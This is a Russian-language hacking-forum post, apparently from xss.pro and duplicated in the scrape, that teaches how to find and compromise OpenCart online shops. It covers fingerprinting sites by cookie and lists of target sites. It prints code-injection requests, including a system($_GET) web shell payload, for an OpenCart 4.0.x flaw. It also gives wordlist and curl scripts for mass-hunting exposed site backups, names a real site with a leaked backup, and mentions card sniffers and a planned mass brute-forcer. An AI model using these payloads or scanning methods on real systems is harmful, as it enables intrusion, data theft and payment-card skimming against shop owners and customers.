Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник: https://xss.pro
Всех приветствую после новогодних праздников. Это уже 3-я часть моего авторского блога. Недавно начал увлекаться CMS такими как WordPress и OpenCart. Так как это актуальная тема люди по сей день интересуются, что можно делать с OpenCart админкой и с чего вообще начать. Тут ребята очень многое обсудили https://xss.pro/threads/80413/ кто-то нашел 0day в плагине OpenCart и пошло обсуждение, я заметил, что люди часто ищут бэкапы OpenCart, но делают это не совсем полноценно.
Да, действительно с помощью COOKIE в OpenCart можно определить валюту и язык, но вот искать бэкап и парсить все, что с сообщение 200 это неправильно. В дальнейшем расскажу почему...
Что такое OpenCart
OpenCart — это платформа, предназначенная для создания собственного интернет-магазина. Платформа бесплатна и имеет открытый исходный код. С помощью OpenCart можно создать интернет-магазин любой сложности с помощью большого количества поддерживаемых сообществом дополнений. Именно поэтому эта CMS настолько популярна на тематических форумах.
Уязвимости в OpenCart
Хакеры часто охотятся на магазины куда люди вбивают карты, пускай они не хранятся в открытом виде и даже не хранятся в бд, но можно поставить собственный сниффер и забирать карты клиентов. OpenCart имеет немало версий, а значит есть CVE под некоторые из них. Где-то дырявая версия, а где-то плагин. В OpenCart часто встречаются SQLI и клиентские уязвимости по типу XSS. Можно погуглить вот эти CVE CVE-2023-47444, CVE-2023-2315, CVE-2020-20491, CVE-2018-11494, CVE-2018-13067, CVE-2016-10509 чтобы узнать больше информации, как эксплуатировать данные уязвимости и к чему они могут привести. Вот уязвимые версии, которые мне известны:
с 2.2.00 до 3.0.3.2, с 4.0.0.0 до 4.0.2.3
Как искать шопы на OpenCart
На самом деле это несложная задача. Ведь любой шоп на OpenCart имеет нестандартные COOKIE. Мы можем это выяснить с помощью утилиты WhatWeb. Допустим есть таргет https://www.slideegg.com если мы пощелкаем, то не найдем уникальный get параметр "route", который часто нам помогает понять, что имеем дело с OpenCart, также если мы перейдем https://www.slideegg.com/admin ничего связанного с OpenCart не будет. Вот пример того, что мы хотим видеть:
Значит по поиску директории /admin и заголовка искать не вариант, ведь мы можем пропустить шопы, которые еще никто не трогал. Значит можно найти шопы по COOKIE
Кто-то может накатать скрипт на python, кто-то на bash. Но я воспользуюсь известным инструментом A-Parser Pro v1.2.2062. Это очень удобный инструмент для человека, который занимается хакингом. Через него на самом деле можно сделать многое, почти все, что нужно в WEB. Есть уже много удобных встроенных функций, поэтому создать пресет для проверки на CMS OpenCart проблем не будет. Переходим в A-Parser и ищем встроенный парсер Rank::CMS
Если ознакомиться с документацией, то он поддерживает сотни CMS, но почему-то в последнее время он перестал поддерживать OpenCart. Но при этом он правильно определяет WordPress, Drupal и другие популярные CMS. Все, что нам нужно это отфильтровать вывод по куке.
Пресет для поиска сайтов на OpenCart будет в моем телеграмм канале.
Как видим он определил все верно. На будущее, если вы захотите сделать собственный пресет, но не знаете, где взять response. Воспользуйтесь вот этим фильтром:
Думаю теперь понятно откуда взялось "set-cookie" в пресете. Благодаря такому способу я нашел таргеты, которых не было ни в одном из списков, которые кидали на форум. Если у вас возникнут вопросы по A-Parser или же вам надо будет что-то спарсить - можете смело обращаться ко мне https://xss.pro/threads/99965/
Кто-то даже на этом делает бизнес, продавая доменные зоны CMS.
Интересно можно ли на этом заработать в 2024
Чутка погуглив я нашел шопы на OpenCart. Конечно, они старые, но все же.
- http://klassikaknigi.info/baza-sajtov-na-cms-opencart/
- http://klassikaknigi.info/baza-sajtov-na-cms-joomla/ (лишним не будет Joomla)
- http://klassikaknigi.info/baza-sajtov-na-cms-wordpress/ (лишним не будет WordPress)
Вот как хорошо уметь пользоваться гуглом
Конечно, на xss.pro тоже сливали OpenCart шопы, можете сами поискать. Материала, что я нашел выше должно хватить надолго, если его почистить от мусора.
Ставим OpenCart на виртуалку
Прежде, чем свой нос совать в хакинг, надо понять, как это работает, если проект open source, то почему бы его не установить на виртуалку и потыкать там, та и понимание придет, уже будем работать не в слепую. Выберем дырявую версию по CVE о которых я сообщил ранее. Почитав информацию о свежих уязвимостях в OpenCart я нашел статью от пользователя 0xbro, который нашел уязвимость в версиях 4.0.0.0 по 4.0.2.3. Суть заключается в том, что если мы авторизованы, то можем записать в config.php произвольную информацию и исполнить код на сервере. Актуальные релизы OpenCart можно посмотреть тут, а также что изменилось в обновлении: https://github.com/opencart/opencart/releases
Скачаем версию 4.0.2.3 на kali linux. https://github.com/opencart/opencart/releases/download/4.0.2.3/opencart-4.0.2.3.zip
Переименовываем config файлы
Выдаем права для www-data
Пользователь www-data является системным пользователем, используемым веб-сервером для обработки запросов и запуска веб-приложений. Он имеет ограниченные права доступа к файлам и каталогам на сервере. Главной целью этого пользователя является обеспечение безопасности и эффективности веб-сервера путем изоляции веб-сайтов друг от друга.
Создаем виртуальный хост для OpenCart
Вставляем
Переходим по http://127.0.0.1/install/index.php
Начинаем простую настройку OpenCart.
Видим, что у нас не установлены некоторые библиотеки php, поэтому мы не можем продолжить. Установить можно так:
Но если вы перезагрузите страничку, то ничего не поменяется. Знаете почему? Потому что надо перезагружать не страничку, а apache.
Можно продолжать
Теперь нам надо войти в mysql в kali linux. Но я до сих пор не могу найти дефолтный пароль. А если я ввожу sudo mysql -u root чтобы войти без пароля, то происходит вот такая ошибка:
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)
Чтобы ее пофиксить достаточно запустить службу:
Далее меняем пароль от root.
Проверяем, что все работает успешно. И заполняем данные дальше.
И тут нас просят изменить дефолтный путь админа... Вот почему мы в прошлый раз не нашли директорию админ. Вот видите, когда сами ставите легко можете ответить на свои вопросы.
Ломаем шоп
Дальше переходим в наш шоп и регистрируем юзера. И узнаем каталог с OpenCart
Дальше надо отправить вот такой запрос:
127.0.0.1/admin/index.php?route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
Я думал долго где взять user_token, оказалось в админке в get параметре пишется... Но блин в админке
( Я думал без админских прав можно выполнить атаку.
Чуть позже я выяснил, что в OpenCart можно создать собственные группы с определенными правами.
System --> User Groups
Выбираем common/security и ставим галочки.
Создаем User`a и добавляем его в группу test. Подключаем (внизу галочку ставим status).
Теперь мы можем входить в админку без пароля.
route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
и
route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>&page=99
Отправляем два запроса и сайт разрушен. Теперь мы видим только вывод phpinfo()
Раз php исполняется, то мы можем залить простенький shell, чтобы исполнять команды. Но я не буду этого делать. Если вам интересно, то можете посмотреть целый видеоролик, как это работает:
GET /opencart-latest/admin/index.php?route=common/security.storage&name=storage99');if+(isset($_GET["cmd94"])){system($_GET["cmd94"]);}%23&path=/var/www/../../../../var/www/html/opencart-latest/system/storage/&user_token=d802a58437c44a666e0c74b52e31d948 HTTP/1.1
На мой взгляд уязвимость шляпа... Навряд ли вы найдете юзера без пароля. Вот мнение админа OpenCart
Ругается, но по делу
Кстати, я по фану сделал бэкап сайта, чтобы посмотреть в каком виде это хранится и как хэшируются пароли юзеров. Выглядит все это дело вот так, походу bcrypt
Ищем бэкапы через A-Parser
Как я и говорил через A-Parser можно почти все. Попробуем просканировать линки с /admin.zip с 200 ответом, чтобы убедиться, что не все содержат бэкап, хотя и ответ 200.
Вот так выглядит пресет, который парсит содержимое<title> (пресет выложу в тг канал)
Искать просто admin.zip и backup.zip. Это слишком банально и можно упустить много бэкапов. Используя linux & в A-Parser комбинирование макросов подстановок можно достичь намного большего. Более подробно о макросах в A-Parser можно почитать тут: https://a-parser.com/docs/guides/task-settings/query-format#substitution-macroses
Нам понадобится отсюда {subs:NAME} Подстановка дополнительных слов из файлов в папке queries/subs/. Вместо NAME необходимо указать имя файла, без расширения .txt
Тут немного творческий процесс. Надо подумать как может называться бэкап и нагенерить список возможных бэкапов, также стоит учитывать какие расширения могут быть (sql,tar.gz,zip,rar и т.д). Допустим у нас есть список сайтов на OpenCart, чтобы все нормально работало нужно удалить www. Ставим галочку Replace all in Document и реплейсим.
Чтобы постоянно не вводить много команд создадим скрипт. Назовите его к примеру backupfinder.sh и выдайте права на исполнение chmod +x backupfinder.sh. Далее заполните скрипт содержимым:
Результат будет вот такой:
Эта идея мне пришла в голову, когда я нашел backup на этом сайте http://pokemmo.kr/pokemmo_backup.tar.gz
Мой товарищ vagabond подогнал мне таргеты OpenCart. Как раз сейчас их проверим в действии
Если вам нужна бд OpenCart, то можете скачать тут: https://xss.pro/threads/105014/
И того получилось более 2 миллионов комбинаций
Теперь самое интересное, как использовать макросы в A-Parser. Вот некоторые примеры.
Переходим в директорию \aparser\queries\subs
И создаем файл с вордлистом.
Прописываем в Query format {subs:название нашего файла без расширения}
Так мы можем искать директории по вордлисту. Но что если мы хотим использовать шаблон:
Используем скрипт, который я дал выше для linux. А далее прописываем нечто подобное:
$query-{subs:backup}{subs:ext}
Но к сожалению нельзя использовать $query_{subs:backup}{subs:ext} будет ошибка. Можно либо через регулярку указать _ либо подправить awk
Чуть позже, я понял, что A-Parser почему-то игнорирует линки с бэкапами. Как нам вообще с этих комбинаций понять, где действительно есть бэкап, а где пустышка. Ответ от сервера не катит, т.к может быть кастомная 404 страничка.
Чтобы проверить есть бэкап или нет достаточно извлекать из ответа сервера Content-Type. Если он не равен html/text, то бэкап есть. К примеру
Есть бэкап:
Нет бэкапа:
Всё зависит от вашей фантазии. Можно по-разному создавать словари для поиска бэкапа. К примеру
То есть http://названиесайта.com/названиесайта_бэкапдата.расширение
Сгенерировать дату можно в linux. Она может быть в формате месяцгод, месяц_год, деньмесяцгод, год_месяц_день, год.месяц.день. Короче комбинаций можно нагенерировать много. Сделай можно вот так:
Я поделился своими идеями, возможно они будут полезными для вас. Собираем донаты и я пишу массовый брут на OpenCart/Wordpress
Источник: https://xss.pro
Всех приветствую после новогодних праздников. Это уже 3-я часть моего авторского блога. Недавно начал увлекаться CMS такими как WordPress и OpenCart. Так как это актуальная тема люди по сей день интересуются, что можно делать с OpenCart админкой и с чего вообще начать. Тут ребята очень многое обсудили https://xss.pro/threads/80413/ кто-то нашел 0day в плагине OpenCart и пошло обсуждение, я заметил, что люди часто ищут бэкапы OpenCart, но делают это не совсем полноценно.
Да, действительно с помощью COOKIE в OpenCart можно определить валюту и язык, но вот искать бэкап и парсить все, что с сообщение 200 это неправильно. В дальнейшем расскажу почему...
Что такое OpenCart
OpenCart — это платформа, предназначенная для создания собственного интернет-магазина. Платформа бесплатна и имеет открытый исходный код. С помощью OpenCart можно создать интернет-магазин любой сложности с помощью большого количества поддерживаемых сообществом дополнений. Именно поэтому эта CMS настолько популярна на тематических форумах.
Уязвимости в OpenCart
Хакеры часто охотятся на магазины куда люди вбивают карты, пускай они не хранятся в открытом виде и даже не хранятся в бд, но можно поставить собственный сниффер и забирать карты клиентов. OpenCart имеет немало версий, а значит есть CVE под некоторые из них. Где-то дырявая версия, а где-то плагин. В OpenCart часто встречаются SQLI и клиентские уязвимости по типу XSS. Можно погуглить вот эти CVE CVE-2023-47444, CVE-2023-2315, CVE-2020-20491, CVE-2018-11494, CVE-2018-13067, CVE-2016-10509 чтобы узнать больше информации, как эксплуатировать данные уязвимости и к чему они могут привести. Вот уязвимые версии, которые мне известны:
с 2.2.00 до 3.0.3.2, с 4.0.0.0 до 4.0.2.3
Как искать шопы на OpenCart
На самом деле это несложная задача. Ведь любой шоп на OpenCart имеет нестандартные COOKIE. Мы можем это выяснить с помощью утилиты WhatWeb. Допустим есть таргет https://www.slideegg.com если мы пощелкаем, то не найдем уникальный get параметр "route", который часто нам помогает понять, что имеем дело с OpenCart, также если мы перейдем https://www.slideegg.com/admin ничего связанного с OpenCart не будет. Вот пример того, что мы хотим видеть:
Значит по поиску директории /admin и заголовка искать не вариант, ведь мы можем пропустить шопы, которые еще никто не трогал. Значит можно найти шопы по COOKIE
Кто-то может накатать скрипт на python, кто-то на bash. Но я воспользуюсь известным инструментом A-Parser Pro v1.2.2062. Это очень удобный инструмент для человека, который занимается хакингом. Через него на самом деле можно сделать многое, почти все, что нужно в WEB. Есть уже много удобных встроенных функций, поэтому создать пресет для проверки на CMS OpenCart проблем не будет. Переходим в A-Parser и ищем встроенный парсер Rank::CMS
Если ознакомиться с документацией, то он поддерживает сотни CMS, но почему-то в последнее время он перестал поддерживать OpenCart. Но при этом он правильно определяет WordPress, Drupal и другие популярные CMS. Все, что нам нужно это отфильтровать вывод по куке.
Пресет для поиска сайтов на OpenCart будет в моем телеграмм канале.
Как видим он определил все верно. На будущее, если вы захотите сделать собственный пресет, но не знаете, где взять response. Воспользуйтесь вот этим фильтром:
JavaScript:
$p1.response.json
Думаю теперь понятно откуда взялось "set-cookie" в пресете. Благодаря такому способу я нашел таргеты, которых не было ни в одном из списков, которые кидали на форум. Если у вас возникнут вопросы по A-Parser или же вам надо будет что-то спарсить - можете смело обращаться ко мне https://xss.pro/threads/99965/
Кто-то даже на этом делает бизнес, продавая доменные зоны CMS.
Интересно можно ли на этом заработать в 2024

Чутка погуглив я нашел шопы на OpenCart. Конечно, они старые, но все же.
- http://klassikaknigi.info/baza-sajtov-na-cms-opencart/
- http://klassikaknigi.info/baza-sajtov-na-cms-joomla/ (лишним не будет Joomla)
- http://klassikaknigi.info/baza-sajtov-na-cms-wordpress/ (лишним не будет WordPress)
Вот как хорошо уметь пользоваться гуглом
Ставим OpenCart на виртуалку
Прежде, чем свой нос совать в хакинг, надо понять, как это работает, если проект open source, то почему бы его не установить на виртуалку и потыкать там, та и понимание придет, уже будем работать не в слепую. Выберем дырявую версию по CVE о которых я сообщил ранее. Почитав информацию о свежих уязвимостях в OpenCart я нашел статью от пользователя 0xbro, который нашел уязвимость в версиях 4.0.0.0 по 4.0.2.3. Суть заключается в том, что если мы авторизованы, то можем записать в config.php произвольную информацию и исполнить код на сервере. Актуальные релизы OpenCart можно посмотреть тут, а также что изменилось в обновлении: https://github.com/opencart/opencart/releases
Скачаем версию 4.0.2.3 на kali linux. https://github.com/opencart/opencart/releases/download/4.0.2.3/opencart-4.0.2.3.zip
Bash:
sudo apt update && sudo apt upgrade -y
sudo systemctl start apache2
sudo systemctl enable apache2
sudo systemctl status apache2
sudo apt-get install php php-cli libapache2-mod-php php-common php-mbstring php-gd php-intl php-xml php-mysql php-zip php-curl php-xmlrpc
sudo apt install mariadb-server mariadb-client
sudo systemctl status mariadb
sudo mysql_secure_installation
- Set root password? [Y/n] Y
- Remove anonymous users? [Y/n] Y
- Disallow root login remotely? [Y/n] Y
- Remove test database and access to it? [Y/n] Y
- Reload privilege tables now? [Y/n] Y
Код:
mv opencart.zip /var/www/html
cd /var/www/html
unzip opencart.zip
Переименовываем config файлы
Выдаем права для www-data
Bash:
sudo chown -R www-data:www-data /var/www/html/opencart-4.0.2.3
Создаем виртуальный хост для OpenCart
Bash:
sudo nano /etc/apache2/sites-available/opencart.conf
Bash:
<VirtualHost *:80>
ServerAdmin admin@127.0.0.1
DocumentRoot /var/www/html/opencart(укажи правильно название папки)/upload/
ServerName 127.0.0.1
ServerAlias www.127.0.0.1
<Directory /var/www/html/opencart(укажи правильно название папки)/upload/>
Options FollowSymLinks
AllowOverride All
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/127.0.0.1-error_log
CustomLog /var/log/apache2/127.0.0.1-access_log common
</VirtualHost>
Bash:
sudo a2ensite opencart.conf
sudo systemctl restart apache2
Начинаем простую настройку OpenCart.
Видим, что у нас не установлены некоторые библиотеки php, поэтому мы не можем продолжить. Установить можно так:
Bash:
sudo apt update
sudo apt install php-gd
sudo apt install php-zip
sudo apt install php-curl
Bash:
sudo systemctl restart apache2
Теперь нам надо войти в mysql в kali linux. Но я до сих пор не могу найти дефолтный пароль. А если я ввожу sudo mysql -u root чтобы войти без пароля, то происходит вот такая ошибка:
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)
Чтобы ее пофиксить достаточно запустить службу:
Bash:
sudo systemctl start mysqld.service
Bash:
sudo mysql_secure_installation
Проверяем, что все работает успешно. И заполняем данные дальше.
И тут нас просят изменить дефолтный путь админа... Вот почему мы в прошлый раз не нашли директорию админ. Вот видите, когда сами ставите легко можете ответить на свои вопросы.
Ломаем шоп
Дальше переходим в наш шоп и регистрируем юзера. И узнаем каталог с OpenCart
Дальше надо отправить вот такой запрос:
127.0.0.1/admin/index.php?route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
Я думал долго где взять user_token, оказалось в админке в get параметре пишется... Но блин в админке
Чуть позже я выяснил, что в OpenCart можно создать собственные группы с определенными правами.
System --> User Groups
Выбираем common/security и ставим галочки.
Создаем User`a и добавляем его в группу test. Подключаем (внизу галочку ставим status).
Теперь мы можем входить в админку без пароля.
route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
и
route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>&page=99
Отправляем два запроса и сайт разрушен. Теперь мы видим только вывод phpinfo()
Раз php исполняется, то мы можем залить простенький shell, чтобы исполнять команды. Но я не буду этого делать. Если вам интересно, то можете посмотреть целый видеоролик, как это работает:
На мой взгляд уязвимость шляпа... Навряд ли вы найдете юзера без пароля. Вот мнение админа OpenCart
Ругается, но по делу
Кстати, я по фану сделал бэкап сайта, чтобы посмотреть в каком виде это хранится и как хэшируются пароли юзеров. Выглядит все это дело вот так, походу bcrypt
Ищем бэкапы через A-Parser
Как я и говорил через A-Parser можно почти все. Попробуем просканировать линки с /admin.zip с 200 ответом, чтобы убедиться, что не все содержат бэкап, хотя и ответ 200.
Вот так выглядит пресет, который парсит содержимое<title> (пресет выложу в тг канал)
Искать просто admin.zip и backup.zip. Это слишком банально и можно упустить много бэкапов. Используя linux & в A-Parser комбинирование макросов подстановок можно достичь намного большего. Более подробно о макросах в A-Parser можно почитать тут: https://a-parser.com/docs/guides/task-settings/query-format#substitution-macroses
Нам понадобится отсюда {subs:NAME} Подстановка дополнительных слов из файлов в папке queries/subs/. Вместо NAME необходимо указать имя файла, без расширения .txt
Тут немного творческий процесс. Надо подумать как может называться бэкап и нагенерить список возможных бэкапов, также стоит учитывать какие расширения могут быть (sql,tar.gz,zip,rar и т.д). Допустим у нас есть список сайтов на OpenCart, чтобы все нормально работало нужно удалить www. Ставим галочку Replace all in Document и реплейсим.
Чтобы постоянно не вводить много команд создадим скрипт. Назовите его к примеру backupfinder.sh и выдайте права на исполнение chmod +x backupfinder.sh. Далее заполните скрипт содержимым:
Bash:
awk -F '.' '{print $0 "/" $1 ".sql"}' file.txt
awk -F '.' '{print $0 "/" $1}' file.txt
awk -F '.' '{print $0 "/" $1 ".rar"}' file.txt
awk -F '.' '{print $0 "/" $1 ".tar.gz"}' file.txt
awk -F '.' '{print $0 "/" $1 ".zip"}' file.txt
awk -F '.' '{print $0 "/" $1 ".old"}' file.txt
awk -F '.' '{print $0 "/" $1 ".bak"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".sql"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".rar"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".tar.gz"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".zip"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".old"}' file.txt
awk -F '.' '{OFS="/"; gsub(/\./,"",$NF); print $0, $1$NF".bak"}' file.txt
Эта идея мне пришла в голову, когда я нашел backup на этом сайте http://pokemmo.kr/pokemmo_backup.tar.gz
Мой товарищ vagabond подогнал мне таргеты OpenCart. Как раз сейчас их проверим в действии
И того получилось более 2 миллионов комбинаций
Теперь самое интересное, как использовать макросы в A-Parser. Вот некоторые примеры.
Переходим в директорию \aparser\queries\subs
И создаем файл с вордлистом.
Прописываем в Query format {subs:название нашего файла без расширения}
Так мы можем искать директории по вордлисту. Но что если мы хотим использовать шаблон:
Используем скрипт, который я дал выше для linux. А далее прописываем нечто подобное:
$query-{subs:backup}{subs:ext}
Но к сожалению нельзя использовать $query_{subs:backup}{subs:ext} будет ошибка. Можно либо через регулярку указать _ либо подправить awk
Bash:
awk -F '.' '{print $0 "/" $1"_"}' file.txt
Чтобы проверить есть бэкап или нет достаточно извлекать из ответа сервера Content-Type. Если он не равен html/text, то бэкап есть. К примеру
Bash:
curl -I -s http://pokemmo.kr/pokemmo_backup.tar.gz | grep "Content-Type"
Нет бэкапа:
Всё зависит от вашей фантазии. Можно по-разному создавать словари для поиска бэкапа. К примеру
То есть http://названиесайта.com/названиесайта_бэкапдата.расширение
Сгенерировать дату можно в linux. Она может быть в формате месяцгод, месяц_год, деньмесяцгод, год_месяц_день, год.месяц.день. Короче комбинаций можно нагенерировать много. Сделай можно вот так:
Bash:
#!/bin/bash
start_date="2000-01-01"
end_date="2023-12-31"
start_timestamp=$(date -d "$start_date" +%s)
end_timestamp=$(date -d "$end_date" +%s)
for ((timestamp = start_timestamp; timestamp <= end_timestamp; timestamp += 86400)); do
date=$(date -d "@$timestamp" +'%d.%m.%Y')
echo "$date"
done
Я поделился своими идеями, возможно они будут полезными для вас. Собираем донаты и я пишу массовый брут на OpenCart/Wordpress




